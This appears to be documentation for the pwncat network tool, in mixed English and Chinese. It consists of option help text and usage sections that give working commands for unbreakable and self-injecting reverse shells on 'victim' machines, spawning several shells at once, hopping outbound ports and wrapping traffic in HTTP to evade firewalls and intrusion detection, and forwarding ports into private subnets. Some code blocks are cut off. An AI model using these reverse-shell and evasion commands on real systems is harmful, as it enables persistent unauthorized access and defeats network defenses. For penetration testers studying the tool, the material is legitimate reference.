--no-shutdown Do not shutdown into half-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior.

-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times.

--info type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv).

-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto)

--safe-word str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input.

protocol arguments: -4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).

-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).

-u, --udp Use UDP for the connection instead of TCP.

-T str, --tos str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'.

--http Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS.

--https Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS.

-H [str [str ...]], --header [str [str ...]] Add HTTP headers to your request when using --http(s).

command & control arguments: --self-inject cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet.

pwncat scripting engine: --script-send file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

--script-recv file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

zero-i/o mode arguments: --banner Zero-I/O (TCP and UDP): Try banner grabbing during port scan.

listen mode arguments: -k, --keep-open Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone)

--rebind [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try).

--rebind-wait s Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1)

--rebind-robin port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified.

connect mode arguments: --source-addr addr Specify source bind IP address for connect mode.

--source-port port Specify source bind port for connect mode.

--reconn [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection.

--reconn-wait s Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1)

--reconn-robin port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed.

--ping-init Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-intvl s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-word str Connect mode (TCP and UDP): Change the default character '\0' to use for upd ping. Single character or strings are supported.

--ping-robin port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster.

--udp-sconnect Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\0', you can change this with --udp-sconnect-word.

--udp-sconnect-word [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\0'.

misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit

不可断开的TCP反向Shell

为什么说不可断开？因为即使你暂时关闭监听服务器，它也会不断尝试重新连接。 换句话说，客户端会持续尝试连接到指定的服务器，直到成功。如果连接中断，它会不断重试。```bash

The client

--exec # Provide this executable

--nodns # Keep the noise down and don't resolve hostnames

-reconn # Automatically reconnect back to you indefinitely

--reconn-wait # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444

自注入反向 shell

假设你能够从目标机器创建一个非常简单且不稳定的反向 shell 连接到你的机器，比如通过 PHP 脚本或类似方式实现的 web shell。考虑到这种连接不会持续很久，或者可能因网络连接不稳定而中断，你可以使用 pwncat 来接入这个连接，并在目标上完全自动化地部署一个持久稳定的反向 shell——全程自动化。

你只需要将 pwncat 作为本地监听器，并使用 --self-inject 开关启动它。一旦客户端（例如反向 web shell）连接到它，它会执行以下操作：

1. 枚举目标上 Python 的可用性和版本
2. 将自身以 base64 编码的形式转储到目标上
3. 利用目标的 Python 解码自身
4. 利用目标的 Python 启动自身，作为一个不可中断的反向 shell 连接回你的机器

完成这些步骤后，你可以继续使用当前连接，或者直接放弃它并启动一个新的监听器（是的，你不需要在启动反向 shell 之前先启动监听器），让新的 pwncat 客户端连接到你。新的监听器也不必是 pwncat，可以是 netcat 或 ncat。

--self-inject 开关：```bash pwncat -l 4444 --self-inject ::

无限的自注入反向 Shell

与其只要求一个自注入反向 shell，你可以指示 pwncat 根据需要生成尽可能多的、不可中断的、回连到你这里的反向 shell。

在 YouTube 上观看

--self-inject 参数不仅允许你定义单个端口，还可以定义：

1. 逗号分隔的端口列表：4445,4446,4447,4448
2. 范围定义：4446-4448
3. 增量：4445+3

为了生成4个反向 shell，你需要像上面描述的那样启动监听器，但不是定义一个端口，而是定义多个：```bash

Comma separated

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

Range

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

Increment

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3

日志记录

注意： 确保你有一个能持续回连的反向Shell。这样你就可以随时更改日志设置而不会丢失Shell。

日志级别与重定向

如果你愿意，可以以完整的TRACE日志记录模式启动监听器，以了解正在发生的事情或进行故障排除。 日志消息根据其严重级别显示不同颜色。如果stderr不是pty（例如，将输出通过管道重定向到文件），颜色会自动关闭。 你也可以通过--color选项手动禁用终端输出的彩色日志。```bash pwncat -vvvv -l 4444

一旦你在监听器上看到这个，你就可以向客户端发送命令。 所有调试信息也都是不必要的，因此你可以安全地按Ctrl+c终止你的服务器，并以静默模式重新启动：```bash pwncat -l 4444

现在你在终端会话中只会看到实际的命令输入和输出。如果你想了解后台发生了什么，可以打开第二个终端窗口并追踪 comm.txt 文件：```bash

端口转发魔法

本地 TCP 端口转发

场景

1. 可以从外部访问 Alice (TCP/UDP)
2. Bob 只能从 Alice 的机器访问``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | -----|----> | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat 72.0.0.1 3306 | pwncat \ | | -L 72.0.0.1:3306 \ | | 10.0.0.1 3306 |

远程TCP端口转发

场景

1. 爱丽丝无法从外部访问
2. 爱丽丝被允许连接到外部（TCP/UDP）
3. 鲍勃只能通过爱丽丝的机器访问``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | <----|----- | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat -l 4444 | pwncat --reconn \ | | -R 56.0.0.1:4444 \ | | 10.0.0.1 3306 |

出站端口跳跃

如果你不知道目标机器允许哪些出站端口，你可以指示客户端（例如：在反向 shell 的情况下）不断探测出站端口。```bash

Reverse shell on target (the client)

--exec # The command shell the client should provide

--reconn # Instruct it to reconnect endlessly

--reconn-wait # Reconnect every 0.1 seconds

--reconn-robin # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53

如果客户端连接到您，您将获得一个可工作的反向 Shell。如果您意外或故意停止本地监听服务器，客户端将重新探测端口，直到成功连接。要终止反向 Shell 客户端，您可以使用 --safe-word（在启动客户端时）。

如果以上方法均无效，您可以添加其他措施，例如使用 UDP 甚至将您的数据包封装到更高级别的协议中，例如 HTTP 等。请参阅 PSE 或下面的示例，了解如何转换您的流量。

Pwncat 脚本引擎 (PSE)

pwncat 提供了一个基于 Python 的脚本引擎，用于在发送数据和接收数据后注入自定义代码。

工作原理

您只需提供一个包含以下入口函数的 Python 文件：```python def transform(data, pse): # Example to reverse a string return data[::-1]

示例2：自建HTTP POST包装器

PSE: http-post 源代码

这将把所有流量包装成一个合法的HTTP POST请求，使其看起来像正常的HTTP流量。```bash
